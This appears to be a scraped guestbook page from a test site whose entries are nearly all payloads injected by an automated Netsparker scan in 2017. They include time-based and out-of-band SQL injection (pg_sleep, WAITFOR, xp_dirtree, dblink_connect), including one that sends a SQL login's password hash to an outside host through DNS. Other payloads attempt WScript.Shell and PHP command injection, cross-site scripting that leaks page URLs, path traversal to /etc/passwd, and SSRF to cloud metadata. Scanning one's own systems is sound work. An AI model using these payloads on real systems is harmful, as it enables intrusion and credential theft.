\r\n \r\n

\r\n
\r\n

1));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A6A

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric)\r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A69

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 ns=netsparker(0x002A5F)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\" ns=netsparker(0x002A5D)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n Guestbook.aspx\u0000\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n Guestbook.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7\" & \"32o.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1');SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n data:;base64,TlM3NzU0NTYxNDQ2NTc1\r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio\" & \"qju.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y\" & \"wqa.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-\" & \"y9m.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n //r87.com/?0x003F84\r\n

\r\n
\r\n

1);SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

N3TSP4RKE2

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\r\n

\r\n
\r\n

nxtspxrkex

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n [ns](javascript:netsparker(0x003F5C);)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n NSFTW\r\n

\r\n
\r\n

n3tsp4rke2

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n /etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n '\"@-->\r\n

\r\n
\r\n

SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt\" & \"ano.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl\" & \"8u8.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s\" & \"jba.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl\" & \"cpq.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//etc/passwd\r\n

\r\n
\r\n

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)\r\n

\r\n
\r\n

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000.aspx\r\n

\r\n
\r\n

((select sleep(25)))a-- 1

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n http://127.0.0.1:3306\r\n

\r\n
\r\n

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n http://127.100.11.2:22\r\n

\r\n
\r\n

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r\r\n

\r\n
\r\n

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'\r\n

\r\n
\r\n

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n 1'))exec('xp_dirtree ''\\\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1))exec('xp_dirtree ''\\\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

1)) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1')exec('xp_dirtree ''\\\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n 1) exec('xp_dirtree ''\\\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n -1';exec('xp_dirtree ''\\\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

')) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n 1;exec('xp_dirtree ''\\\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n exec('xp_dirtree ''\\\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\\c$\\a''')\r\n

\r\n
\r\n

') WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n http://169.254.169.254/latest/meta-data/public-hostname\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs\" & \"j3o.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no\" & \"o20.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n http://aws.r87.me/latest/meta-data/public-hostname\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n file:///etc/passwd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n -1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\u0000.aspx\r\n

\r\n
\r\n

WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n 127.0.0.1/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n ::1/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n '+netsparker(0x003E56)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E54);\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache2/error.log\r\n

\r\n
\r\n

1 WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E52)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error_log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n 127.100.11.2/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

' WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n 54.204.37.212/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n testsparker.com/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n %27\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n http://testsparker.com/elmah\r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz\"+\"itg.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v\"+\"nwu.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n 127.0.0.1/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ',netsparker(0x003E50),'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

